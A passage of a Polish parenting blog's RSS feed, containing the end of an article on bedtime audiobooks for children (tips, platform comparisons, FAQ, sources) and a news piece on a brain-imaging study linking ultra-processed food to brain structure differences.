2675. <p>Kolejną korzyścią jest koncentracja. Mózg jest bombardowany krótkimi, intensywnymi bodźcami. Audiobajka działa odwrotnie. Wymaga skupienia na jednej, płynącej narracji. Dziecko musi śledzić wątek, pamiętać, co wydarzyło się pięć minut temu, i cierpliwie czekać na dalszy ciąg. To jak nauka spokojnego, głębokiego oddechu dla przebodźcowanego umysłu. Buduje zdolność do dłuższego utrzymywania uwagi, co jest na wagę złota w dzisiejszym świecie.</p>
2676.  
2677.  
2678.  
2679. <h2 class="wp-block-heading">Praktyczne wskazówki dla zmęczonych rodziców &#8211; jak zacząć już dziś?</h2>
2680.  
2681.  
2682.  
2683. <p>Teoria brzmi pięknie, ale czujesz, że od pomysłu do realizacji jest jeszcze długa droga? Spokojnie, to prostsze niż myślisz.</p>
2684.  
2685.  
2686.  
2687. <h3 class="wp-block-heading">Gdzie znaleźć wartościowe audiobajki, które naprawdę usypiają?</h3>
2688.  
2689.  
2690.  
2691. <p>Zapomnij o chaotycznym klikaniu w pierwsze z brzegu linki na YouTube. Jakość ma znaczenie, zwłaszcza gdy chodzi o głos lektora i treść.</p>
2692.  
2693.  
2694.  
2695. <ul class="wp-block-list">
2696. <li><strong>Aplikacje subskrypcyjne (np. <a href="https://audioteka.com/pl/">Audioteka</a>):</strong> To prawdziwe kopalnie złota. Znajdziesz tam setki profesjonalnie nagranych audiobooków dla dzieci, często w wykonaniu znanych aktorów. Wyszukuj po hasłach „bajki na dobranoc”, „bajki relaksacyjne” lub „słuchowiska dla dzieci”. Inwestycja w abonament szybko się zwraca w odzyskanych wieczorach.</li>
2697.  
2698.  
2699.  
2700. <li><strong>Aplikacje dedykowane relaksacji (np. SleepyKids):</strong> To aplikacje stworzone specjalnie z myślą o wyciszaniu. Zawierają nie tylko bajki, ale też prowadzone medytacje dla dzieci, spokojną muzykę i dźwięki natury. Idealne dla maluchów, które mają duży problem z „wyłączeniem” myśli.</li>
2701.  
2702.  
2703.  
2704. <li><strong>Sprawdzone kanały na YouTube:</strong> Jeśli wolisz zacząć od darmowych opcji, szukaj kanałów, które specjalizują się w treściach dla dzieci, jak np. oficjalny kanał Polskiego Radia Dzieciom. Uważaj jednak na reklamy, które mogą nagle wybudzić dziecko z półsnu.</li>
2705.  
2706.  
2707.  
2708. <li><strong>Podcasty dla dzieci:</strong> Tak, istnieją! Platformy takie jak Spotify mają w swojej ofercie coraz więcej podcastów z bajkami. Często są to autorskie, bardzo ciepłe i kameralne produkcje.</li>
2709. </ul>
2710.  
2711.  
2712.  
2713. <p></p>
2714.  
2715.  
2716.  
2717. <h3 class="wp-block-heading">Jak przekonać opornego malucha, czyli co zrobić, gdy słyszysz &#8220;NIE!&#8221;?</h3>
2718.  
2719.  
2720.  
2721. <p>Twoje dziecko jest przyzwyczajone do bajki na tablecie albo do tego, że to ty jesteś wieczornym lektorem. Każda zmiana może spotkać się z oporem. Jak go przełamać? Potraktuj to jak wprowadzenie nowej, ekscytującej zabawy, a nie kolejnego obowiązku.</p>
2722.  
2723.  
2724.  
2725. <ol start="1" class="wp-block-list">
2726. <li><strong>Zrób z tego wydarzenie.</strong> Zamiast mówić: „Dziś posłuchamy bajki z głośnika”, powiedz z entuzjazmem: „Mam dla nas nową, magiczną przygodę na dobranoc! Będziemy słuchać opowieści i zgadywać, jak wyglądają bohaterowie!”.</li>
2727.  
2728.  
2729.  
2730. <li><strong>Oddaj kontrolę (pozorną).</strong> Daj dziecku wybór. „Chcesz dziś posłuchać bajki o śpiącym lisku czy o gwiazdce, która szukała księżyca?”. Kiedy maluch czuje, że sam decyduje, chętniej wchodzi we współpracę.</li>
2731.  
2732.  
2733.  
2734. <li><strong>Zacznij od wspólnego słuchania.</strong> Nie zostawiaj dziecka samego z głośnikiem. Połóżcie się razem, przytulcie się i słuchajcie. Twoja obecność i spokój to najlepszy dowód na to, że to coś fajnego i bezpiecznego.</li>
2735. </ol>
2736.  
2737.  
2738.  
2739. <p></p>
2740.  
2741.  
2742.  
2743. <h3 class="wp-block-heading">Pułapka &#8220;jeszcze jednej bajki&#8221; – jak stawiać granice?</h3>
2744.  
2745.  
2746.  
2747. <p>Udało się! Dziecko jest zachwycone. Ale gdy bajka się kończy, słyszysz błagalne: „Mamo, jeszcze jedną, proszę!”. Co teraz?</p>
2748.  
2749.  
2750.  
2751. <p>Kluczem jest&nbsp;<strong>jedna, żelazna zasada</strong>, którą ustalacie na samym początku:&nbsp;<strong>słuchamy jednej bajki na dobranoc</strong>.</p>
2752.  
2753.  
2754.  
2755. <p>Pomyśl o tym jak o deserze po obiedzie – jest pyszny, ale jest tylko jeden. Traktujcie wieczorną audiobajkę jak wyjątkowy, wyczekany rytuał, a nie maraton słuchowisk. Gdy dziecko poprosi o kolejną, przytul je i powiedz spokojnie: „Ta historia była cudowna, prawda? Kolejna przygoda czeka na nas jutro. A teraz zamykamy oczy i śnimy o tym, co usłyszeliśmy”.</p>
2756.  
2757.  
2758.  
2759. <p>Bycie konsekwentnym przez pierwsze kilka wieczorów jest kluczowe. Dziecko szybko nauczy się, że jedna bajka to sygnał kończący dzień. To właśnie ta przewidywalność daje mu poczucie bezpieczeństwa i pozwala umysłowi płynnie przejść w tryb snu.</p>
2760.  
2761.  
2762.  
2763. <h3 class="wp-block-heading">TOP 5 platform z audiobajkami polecanych przez rodziców</h3>
2764.  
2765.  
2766.  
2767. <p><strong>1. Audioteka</strong></p>
2768.  
2769.  
2770.  
2771. <ul class="wp-block-list">
2772. <li><strong>Dla kogo?</strong> Dla koneserów, którzy cenią najwyższą jakość dźwięku i aktorskich interpretacji.</li>
2773.  
2774.  
2775.  
2776. <li><strong>Co w środku?</strong> To polska, żelazna klasyka rynku audiobooków. Audioteka słynie z tzw. &#8220;superprodukcji&#8221; – słuchowisk z udziałem wielu aktorów, z bogatą oprawą muzyczną i efektami dźwiękowymi. To trochę jak teatr w sypialni. Oprócz tego, oczywiście, setki klasycznych bajek czytanych przez jednego lektora.</li>
2777.  
2778.  
2779.  
2780. <li><strong>Plusy:</strong> Niezrównana jakość nagrań. Jeśli chcesz, by dziecko doświadczyło prawdziwej magii słuchowiska, to jest to najlepszy adres.</li>
2781.  
2782.  
2783.  
2784. <li><strong>Cena:</strong> Działa głównie w modelu subskrypcyjnym (Audioteka Klub), ale można też kupować pojedyncze audiobooki na własność.</li>
2785. </ul>
2786.  
2787.  
2788.  
2789. <p><strong>2. Empik Go</strong></p>
2790.  
2791.  
2792.  
2793. <ul class="wp-block-list">
2794. <li><strong>Dla kogo?</strong> Dla tych, którzy lubią mieć wszystko w jednym miejscu i cenią polskie produkcje. To prawdziwy kombajn z treściami.</li>
2795.  
2796.  
2797.  
2798. <li><strong>Co w środku?</strong> Gigantyczna biblioteka polskich audiobooków dla dzieci – od klasyki Brzechwy i Tuwima, po nowości wydawnicze. Znajdziesz tu zarówno pojedyncze bajki, jak i całe serie. Dostępne są też pozycje po angielsku, choć polska oferta jest zdecydowanie bogatsza.</li>
2799.  
2800.  
2801.  
2802. <li><strong>Plusy:</strong> Ogromny wybór, często w wykonaniu najlepszych polskich aktorów. Jedna subskrypcja daje dostęp nie tylko do audio, ale też ebooków i prasy. Idealne, jeśli sama też lubisz czytać lub słuchać.</li>
2803.  
2804.  
2805.  
2806. <li><strong>Cena:</strong> Różne plany abonamentowe, zazwyczaj w okolicach 40-50 zł miesięcznie, ale często trafiają się promocje.</li>
2807. </ul>
2808.  
2809.  
2810.  
2811. <p><strong>3. Storytel</strong></p>
2812.  
2813.  
2814.  
2815. <ul class="wp-block-list">
2816. <li><strong>Dla kogo?</strong> Dla rodziców, którzy chcą stworzyć dziecku bezpieczny, cyfrowy plac zabaw i szukają też treści w innych językach.</li>
2817.  
2818.  
2819.  
2820. <li><strong>Co w środku?</strong> Storytel to międzynarodowy gracz, więc oprócz potężnej bazy polskich bajek (w tym wielu tytułów na wyłączność), oferuje świetną kolekcję opowieści po angielsku. To fantastyczne narzędzie do osłuchiwania się z językiem obcym.</li>
2821.  
2822.  
2823.  
2824. <li><strong>Plusy:</strong> Absolutnym hitem jest <strong>Kids Mode</strong> – specjalny tryb, który filtruje treści i pokazuje tylko te odpowiednie dla dzieci. Dziecko może samo przeglądać okładki w bezpiecznym środowisku, a ty masz pewność, że nie włączy sobie przez przypadek kryminału.</li>
2825.  
2826.  
2827.  
2828. <li><strong>Cena:</strong> Stała opłata abonamentowa, zwykle poniżej 40 zł miesięcznie. Dostępny jest też darmowy okres próbny.</li>
2829. </ul>
2830.  
2831.  
2832.  
2833. <p><strong>4. Spotify</strong></p>
2834.  
2835.  
2836.  
2837. <ul class="wp-block-list">
2838. <li><strong>Dla kogo?</strong> Dla tych, którzy chcą zacząć przygodę z audiobajkami bez ponoszenia dodatkowych kosztów, korzystając z aplikacji, którą już mają i znają.</li>
2839.  
2840.  
2841.  
2842. <li><strong>Co w środku?</strong> Coraz większa biblioteka podcastów i playlist z bajkami dla dzieci. Wpisz w wyszukiwarkę &#8220;bajki na dobranoc&#8221;, &#8220;bajki dla dzieci&#8221; czy &#8220;kołysanki&#8221;, a zaskoczy cię, jak wiele można tam znaleźć. Są to często autorskie, kameralne produkcje, ale też nagrania znanych bajek.</li>
2843.  
2844.  
2845.  
2846. <li><strong>Plusy:</strong> Jeśli masz już Spotify Premium, nie płacisz nic dodatkowo. To najprostszy sposób, żeby sprawdzić, czy ta forma w ogóle sprawdzi się u was w domu.</li>
2847.  
2848.  
2849.  
2850. <li><strong>Na co uważać?</strong> W wersji darmowej mogą pojawić się reklamy, co jest absolutnym zabójcą wieczornego klimatu. Wybór jest też mniejszy i bardziej chaotyczny niż w dedykowanych aplikacjach.</li>
2851. </ul>
2852.  
2853.  
2854.  
2855. <p><strong>5. Aplikacje Relaksacyjne (np. SleepyKids, Calm)</strong></p>
2856.  
2857.  
2858.  
2859. <ul class="wp-block-list">
2860. <li><strong>Dla kogo?</strong> Dla rodziców dzieci, które są prawdziwymi wulkanami energii i potrzebują czegoś więcej niż tylko fabuły – potrzebują prowadzenia do wyciszenia.</li>
2861.  
2862.  
2863.  
2864. <li><strong>Co w środku?</strong> Te aplikacje to zupełnie inna kategoria. Zamiast klasycznych baśni, oferują prowadzone medytacje, historie relaksacyjne (tzw. sleep stories) i kojące dźwięki (szum morza, śpiew ptaków). Narrator spokojnym głosem prowadzi dziecko przez relaksujące wizualizacje.</li>
2865.  
2866.  
2867.  
2868. <li><strong>Plusy:</strong> Są zaprojektowane specjalnie po to, by usypiać. Działają na układ nerwowy, pomagając dziecku rozluźnić ciało i spowolnić gonitwę myśli. Często mają opcję timera, który wyłącza nagranie po określonym czasie.</li>
2869.  
2870.  
2871.  
2872. <li><strong>Cena:</strong> Zwykle model subskrypcyjny z ograniczoną darmową wersją, która pozwala przetestować kilka historii.</li>
2873. </ul>
2874.  
2875.  
2876.  
2877. <p></p>
2878.  
2879.  
2880.  
2881. <h2 class="wp-block-heading">FAQ</h2>
2882.  
2883.  
2884.  
2885. <div class="schema-faq wp-block-yoast-faq-block"><div class="schema-faq-section" id="faq-question-1761896966599"><strong class="schema-faq-question"><strong>W jakim wieku najlepiej zacząć czytać dziecku na dobranoc?</strong></strong> <p class="schema-faq-answer">Szczerze? Jak najwcześniej! Nawet kilkumiesięczny maluszek, który nie rozumie jeszcze słów, skorzysta na słuchaniu Twojego spokojnego, rytmicznego głosu. To dla niego czysty relaks i poczucie bliskości. Traktuj to na początku nie tyle jak opowieść, co kołysankę w formie mówionej – budujesz fundament pod przyszły, piękny rytuał.</p> </div> <div class="schema-faq-section" id="faq-question-1761897006391"><strong class="schema-faq-question"><strong>Moje dziecko jest wulkanem energii wieczorem i nie chce słuchać. Co robić?</strong></strong> <p class="schema-faq-answer">To klasyk! Myślisz, że bajka ma być magicznym przyciskiem &#8220;wyłącz&#8221;, a tu nic z tego. Potraktuj bajkę nie jak hamulec awaryjny, ale jak ostatni, spokojny przystanek na trasie do krainy snu. Zanim otworzycie książkę, spróbuj wyciszyć atmosferę na inne sposoby: ciepła kąpiel, przygaszone światła, delikatny masaż czy cicha zabawa puzzlami. Dopiero gdy ten mały pociąg zwolni, zaproś go do wagonu z opowieścią.</p> </div> <div class="schema-faq-section" id="faq-question-1761897019244"><strong class="schema-faq-question"><strong>&#8220;Jeszcze jedną, mamo/tato!&#8221;. Jak reagować na niekończące się prośby o kolejną bajkę?</strong></strong> <p class="schema-faq-answer">Ach, te negocjacje przy łóżku! Znamy to doskonale. Kluczem jest łagodna stanowczość i przewidywalność. Ustalcie zasady z góry, np. &#8220;dziś czytamy jeden rozdział&#8221; albo &#8220;wybierasz jedną, krótką książeczkę&#8221;. Gdy pada prośba o kolejną, spokojnie przypomnij umowę i zapewnij: &#8220;Tę drugą przeczytamy jutro, już nie mogę się doczekać. A teraz czas spać&#8221;. To świetna lekcja stawiania granic, podana z miłością.</p> </div> <div class="schema-faq-section" id="faq-question-1761897035334"><strong class="schema-faq-question"><strong>Czy audiobooki albo bajki z tabletu to dobra alternatywa?</strong></strong> <p class="schema-faq-answer">To kusząca opcja, prawda? Audiobooki mogą być fantastycznym kołem ratunkowym, gdy jesteś wyczerpany lub w podróży. Pamiętaj jednak, że sednem tego rytuału jest Twoja obecność – Twój głos, ciepło i możliwość przytulenia się. Ekrany (tablet, telefon) przed snem to nienajlepszy pomysł, bo niebieskie światło może zaburzać produkcję melatoniny, hormonu snu. Jeśli już musisz, wybierz audiobook, ale nic nie zastąpi magii wspólnego czytania.</p> </div> <div class="schema-faq-section" id="faq-question-1761897052073"><strong class="schema-faq-question"><strong>Poza spokojniejszym snem, co tak naprawdę daje to całe czytanie?</strong></strong> <p class="schema-faq-answer">Och, daje całe mnóstwo! To jak sadzenie magicznego ogrodu w głowie Twojego dziecka. Każda przeczytana książka to nowe nasionko słowa, które wzbogaca jego słownictwo. To też niesamowity trening dla wyobraźni – maluch w głowie tworzy własne obrazy bohaterów i miejsc, co jest bezcenne dla kreatywności. Przede wszystkim jednak budujecie relację i tworzycie wspomnienia, które zostaną z Wami na zawsze.</p> </div> <div class="schema-faq-section" id="faq-question-1761897070075"><strong class="schema-faq-question"><strong>Co, jeśli jednego wieczoru po prostu nie dam rady? Czy wszystko stracone?</strong></strong> <p class="schema-faq-answer">Absolutnie nie! Rodzicielstwo to nie olimpiada, a rutyna nie jest więzieniem. Chodzi o regularność, a nie o stuprocentową perfekcję. Jeśli masz za sobą ciężki dzień i ostatnią rzeczą, o jakiej marzysz, jest czytanie o smoku, odpuść. Przytulcie się, zaśpiewaj kołysankę, opowiedz krótką historyjkę z głowy. Jeden &#8220;wolny wieczór&#8221; nie zrujnuje całego wysiłku. Jutro jest nowy dzień i nowa bajka do przeczytania.</p> </div> </div>
2886.  
2887.  
2888.  
2889. <p></p>
2890.  
2891.  
2892.  
2893. <h2 class="wp-block-heading">Źródła</h2>
2894.  
2895.  
2896.  
2897. <p>[1]&nbsp;<strong>Źródło:</strong>&nbsp;https://www.mjakmama24.pl/starszak/wychowanie/to-nie-trudny-charakter-naukowcy-odkryli-co-brak-snu-robi-z-mozgiem-dziecka-aa-TGvS-4pFq-1Ux5.html&nbsp;Dzieci mające codzienną rutynę śpią średnio o godzinę dłużej od pozostałych, zgodnie z badaniem przytoczonym przez Amerykańską Akademię Medycyny Snu</p>
2898.  
2899.  
2900.  
2901. <p>[2]&nbsp;<strong>Źródło:</strong>&nbsp;https://yadda.icm.edu.pl/cejsh/element/bwmeta1.element.ojs-doi-10_33674_acta_120198/c/12-abac0fac-3a06-4c8a-8aef-474da3057d68.pdf.pdf&nbsp;92% badanych rodziców czyta bajki swoim dzieciom, a 88% potwierdza, że bajki mają pozytywny wpływ na rozwój poznawczy dziecka, przy czym 96% dostrzega wpływ na rozwój moralny</p>
2902.  
2903.  
2904.  
2905. <p>[3]&nbsp;<strong>Źródło:</strong>&nbsp;https://wirtualnywydawca.pl/2025/05/raport-rynek-audiobookowy-w-polsce-2025/&nbsp;Audiobooki nie są „lenistwem rodzicielskim” – według raportu PMR, audiobooki i bajki w wersji audio stanowią dynamicznie rosnącą część konsumpcji treści w rodzinach: w 2024 roku udział audiobooków w Empik Go osiągnął 51%, niemal dorównując ebookom; wskazuje to na akceptację słuchania jako wartościowej formy kontaktu z literaturą dla dzieci, szczególnie wieczorem.</p>
2906.  
2907.  
2908.  
2909. <p>[4]&nbsp;<strong>Źródło:</strong> <a href="https://audioteka.com/pl/blog/audiobooki-na-stres-jak-dzwiekowa-literatura-pomaga-sie-zrelaksowac">https://audioteka.com/pl/blog/audiobooki-na-stres-jak-dzwiekowa-literatura-pomaga-sie-zrelaksowac</a> Audiobooki o spokojnej narracji i umiarkowanym tempie są zalecane przez specjalistów jako technika wyciszania umysłu przed snem, wspierając naturalne zasypianie bez ekspozycji na niebieskie światło.</p>
2910.  
2911.  
2912.  
2913. <p>[5]&nbsp;<strong>Źródło:</strong>&nbsp;https://kidaroo.pl/blog/czy-czytanie-bajek-przed-snem-poprawia-sen-dziecka/&nbsp;Regularne słuchanie audiobajek przed snem może skracać czas zasypiania i poprawiać jakość snu dziecka przez wyciszenie oraz redukcję nocnych wybudzeń.</p>
2914. <p>Artykuł <a href="https://przystanekrodzinka.pl/wieczorna-rutyna-z-bajka-rodzice-maja-sposob-na-spokojniejsze-noce/">Wieczorna rutyna z bajką? Rodzice mają sposób na spokojniejsze noce</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
2915. ]]></content:encoded>
2919. </item>
2920. <item>
2921. <title>Żywność ultra przetworzona zmienia strukturę mózgu</title>
2922. <link>https://przystanekrodzinka.pl/zywnosc-ultra-przetworzona-zmiany-w-mozgu/</link>
2924. <dc:creator><![CDATA[Maria Rybak]]></dc:creator>
2925. <pubDate>Thu, 30 Oct 2025 06:36:00 +0000</pubDate>
2926. <category><![CDATA[aktualnosci]]></category>
2927. <guid isPermaLink="false">https://przystanekrodzinka.pl/?p=86272</guid>
2928.  
2929. <description><![CDATA[<p>Analiza skanów mózgu prawie 30 000 osób ujawnia uderzający związek: częste jedzenie żywności ultra przetworzonej wiąże się z wyraźnymi różnicami w strukturze mózgu. Te zmiany mogą tworzyć pętlę sprzężenia zwrotnego, która prowadzi do przejadania się i uzależnienia od jedzenia. Badacze odkryli, że to nie tylko kwestia otyłości czy stanu zapalnego – rolę mogą odgrywać same składniki i dodatki typowe dla tego rodzaju produktów. Jak dieta wpływa na mózg Twojego dziecka?</p>
2930. <p>Artykuł <a href="https://przystanekrodzinka.pl/zywnosc-ultra-przetworzona-zmiany-w-mozgu/">Żywność ultra przetworzona zmienia strukturę mózgu</a> pochodzi z serwisu <a href="https://przystanekrodzinka.pl">Przystanek Rodzinka - blog parentingowy o dzieciach okiem logopedki</a>.</p>
2931. ]]></description>
2932. <content:encoded><![CDATA[
2933. <p>Międzynarodowy zespół naukowców przeanalizował skany mózgu prawie 30 000 uczestników badania i odkrył uderzające połączenia między częstym spożywaniem żywności ultra przetworzonej a mierzalnymi różnicami w strukturze mózgu. Te różnice mogą być częścią mechanizmu, który sprzyja przejadaniu się i uzależnieniu od jedzenia.</p>
2934.  
2935.  
2936.  
2937. <h2 class="wp-block-heading">Czym różni się żywność przetworzona od ultra przetworzonej</h2>
2938.  
2939.  
2940.  
2941. <p>Nie wszystkie przetworzone produkty są szkodliwe. Wiele z nich, szczególnie tych na bazie roślin, stanowi korzystny element zrównoważonej diety. Mrożone warzywa czy pasteryzowane mleko to przykłady przetwarzania, które przynosi korzyści zdrowotne. Problem zaczyna się przy żywności ultra przetworzonej, która zawiera przemysłowe dodatki i chemicznie zmienione składniki.</p>
2942.  
2943.  
2944.  
2945. <p>Arsène Kanyamibwa z University of Helsinki, pierwszy autor badania, wyjaśnia różnicę. Przetworzone produkty roślinne można śmiało polecać. W przeciwieństwie do nich produkty bogate w chemicznie zmodyfikowane składniki i dodatki, takie jak przetworzone wyroby mięsne, budzą poważne obawy zdrowotne.</p>
2946.  
2947.  
2948.  
2949. <h2 class="wp-block-heading">Co pokazują skany mózgu osób jedzących żywność ultra przetworzoną</h2>
2950.  
2951.  
2952.  
2953. <p>Badanie oparte na danych z UK Biobank objęło uczestników w średnim wieku z całej Wielkiej Brytanii. Naukowcy z University of Helsinki i McGill University&#8217;s Montréal Neurological Institute połączyli wiedzę z zakresu żywienia, neuronauki i analizy obrazowania, by sprawdzić, jak współczesna dieta wpływa na ludzki mózg.</p>
2954.  
2955.  
2956.  
2957. <p>Kanyamibwa podkreśla kluczowe odkrycie: wyższe spożycie żywności ultra przetworzonej wiąże się z różnicami w mózgu. Te powiązania mogą być związane ze wzorcami zachowań, takimi jak przejadanie się, choć badanie nie potwierdza związku przyczynowo-skutkowego. Co istotne, zaobserwowane różnice nie wynikają wyłącznie ze stanu zapalnego czy otyłości. Składniki i dodatki typowe dla żywności ultra przetworzonej, takie jak emulgatory, mogą również odgrywać rolę, choć wymaga to dalszych badań podłużnych lub eksperymentalnych.</p>
2958.  
2959.  
2960.  
2961. <h2 class="wp-block-heading">Dlaczego to ważne dla rodziców małych dzieci</h2>
2962.  
2963.  
2964.  
2965. <p>Mózg dziecka rozwija się najintensywniej w pierwszych latach życia. W tym okresie kształtują się połączenia nerwowe odpowiedzialne za uczenie się, pamięć i kontrolę impulsów, w tym także te związane z odczuwaniem sytości i wyborem jedzenia. Warto wiedzieć, że nawyki żywieniowe wykształcone we wczesnym dzieciństwie często utrzymują się przez całe życie.</p>
2966.  
2967.  
2968.  
2969. <p>Badanie sugeruje, że regularne sięganie po żywność ultra przetworzoną może wpływać na struktury mózgowe zaangażowane w kontrolę apetytu i podejmowanie decyzji. To tworzy swoistą pętlę: im więcej takiej żywności jemy, tym trudniej może być nam się od niej powstrzymać. Choć badanie dotyczyło dorosłych, mechanizmy neuroplastyczności działają szczególnie intensywnie u dzieci, co czyni ich mózg bardziej podatnym na wpływy środowiskowe, w tym dietę.</p>
2970.  
2971.  
2972.  
2973. <h2 class="wp-block-heading">Co możemy zrobić jako rodzice</h2>
2974.  
2975.  
2976.  
2977. <p>Kanyamibwa zwraca uwagę, że tego rodzaju badania mogą wpływać zarówno na osobiste wybory żywieniowe, jak i politykę zdrowia publicznego. Biorąc pod uwagę rosnącą liczbę dowodów, ograniczenie spożycia żywności ultra przetworzonej i zaostrzenie norm regulacyjnych w produkcji żywności może być kluczowym krokiem w kierunku lepszych wyników zdrowotnych społeczeństwa.</p>
2978.  
2979.  
2980.  
2981. <p>Dla nas jako rodziców oznacza to przede wszystkim świadome wybory przy codziennych posiłkach. Zamiast gotowych dań z długą listą składników, których nazw nie potrafimy wymówić, warto sięgać po produkty możliwie mało przetworzone. Świeże warzywa, owoce, pełne ziarna, naturalne nabiał, mięso i ryby bez dodatków to podstawa. Oczywiście życie z małymi dziećmi bywa chaotyczne i nie zawsze mamy czas na gotowanie od podstaw. Kluczem nie jest perfekcja, ale kierunek, w którym zmierzamy.</p>
2982.  
2983.  
2984.  
2985. <p>Warto też pamiętać, że kształtowanie zdrowych nawyków żywieniowych to proces długofalowy. Dzieci uczą się przez obserwację i powtarzanie. Gdy widzą, że rodzice wybierają proste, naturalne jedzenie, same chętniej po nie sięgają. To inwestycja nie tylko w ich obecne zdrowie, ale także w funkcjonowanie ich mózgu przez całe życie.</p>
2986.  
2987.  
2988.  
2989. <blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
2990. <p><a href="http://dx.doi.org/10.1038/s44324-025-00056-3">Więcej informacji</a></p>
2991. </blockquote>
2992.  
2993.  
2994. <div class="convertkit-form wp-block-convertkit-form" style=""><script async data-uid="67519e85f9" src="https://przystanekrodzinka.kit.com/67519e85f9/index.js" data-jetpack-boost="ignore" data-no-defer="1" nowprocket></script></div>
2995.  
2996.  
2997. <div class="wp-block-uagb-post-carousel uagb-post-grid  uagb-post__image-position-top uagb-post__image-enabled uagb-block-related-posts     uagb-post__arrow-outside uagb-slick-carousel uagb-post__items uagb-post__columns-2 is-carousel uagb-post__columns-tablet-2 uagb-post__columns-mobile-1 uagb-post__carousel_equal-height" data-total="2" style="">
2998.  
2999. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
3000. <a href="https://przystanekrodzinka.pl/nudnosci-w-ciazy-chronia-dziecko-przed-toksynami/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-768x512.jpg" class="attachment-medium_large size-medium_large" alt="Pregnant woman&#039;s belly illuminated by sunlight." srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-768x512.jpg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-300x200.jpg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-1024x683.jpg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta-1536x1024.jpg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/tnh1bsaigta.jpg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
3001. </div>
3002. <h4 class="uagb-post__title uagb-post__text">
3003. <a href="https://przystanekrodzinka.pl/nudnosci-w-ciazy-chronia-dziecko-przed-toksynami/" target="_self" rel="bookmark noopener noreferrer">Nudności w ciąży chronią dziecko przed toksynami</a>
3004. </h4>
3005. <div class='uagb-post__text uagb-post-grid-byline'>
3006. </div>
3007. <div class="uagb-post__text uagb-post__cta wp-block-button">
3008. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/nudnosci-w-ciazy-chronia-dziecko-przed-toksynami/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
3009. </div>
3011. </article>
3012. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
3013. <a href="https://przystanekrodzinka.pl/banan-smoothie-wchlaniane-flawanoli-badanie/" target="_self" rel="bookmark noopener noreferrer"><img fetchpriority="high" decoding="async" width="768" height="512" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-768x512.jpeg" class="attachment-medium_large size-medium_large" alt="smoothie a wchłanianie składników odżywczych" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-768x512.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-300x200.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-1024x683.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie-1536x1024.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/banan-smoothie-wchlaniane-flawanoli-badanie.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
3014. </div>
3015. <h4 class="uagb-post__title uagb-post__text">
3016. <a href="https://przystanekrodzinka.pl/banan-smoothie-wchlaniane-flawanoli-badanie/" target="_self" rel="bookmark noopener noreferrer">Banan w smoothie blokuje wchłanianie flawanoli o 84%</a>
3017. </h4>
3018. <div class='uagb-post__text uagb-post-grid-byline'>
3019. </div>
3020. <div class="uagb-post__text uagb-post__cta wp-block-button">
3021. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/banan-smoothie-wchlaniane-flawanoli-badanie/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
3022. </div>
3024. </article>
3025. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
3026. <a href="https://przystanekrodzinka.pl/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd/" target="_self" rel="bookmark noopener noreferrer"><img loading="lazy" decoding="async" width="768" height="432" src="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-768x432.jpeg" class="attachment-medium_large size-medium_large" alt="paracetamol w ciazy a ryzyko autyzmu adhd" srcset="https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-768x432.jpeg 768w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-300x169.jpeg 300w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-1024x576.jpeg 1024w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd-1536x864.jpeg 1536w, https://przystanekrodzinka.pl/wp-content/uploads/2025/10/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd.jpeg 1600w" sizes="(max-width: 768px) 100vw, 768px" /> </a>
3027. </div>
3028. <h4 class="uagb-post__title uagb-post__text">
3029. <a href="https://przystanekrodzinka.pl/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd/" target="_self" rel="bookmark noopener noreferrer">Paracetamol w ciąży może zwiększać ryzyko autyzmu</a>
3030. </h4>
3031. <div class='uagb-post__text uagb-post-grid-byline'>
3032. </div>
3033. <div class="uagb-post__text uagb-post__cta wp-block-button">
3034. <a class="wp-block-button__link uagb-text-link" style="" href="https://przystanekrodzinka.pl/paracetamol-w-ciazy-a-ryzyko-autyzmu-adhd/" target="_self" rel="bookmark noopener noreferrer">Więcej</a>
3035. </div>
3037. </article>
3038. <article class="uagb-post__inner-wrap"> <div class='uagb-post__image'>
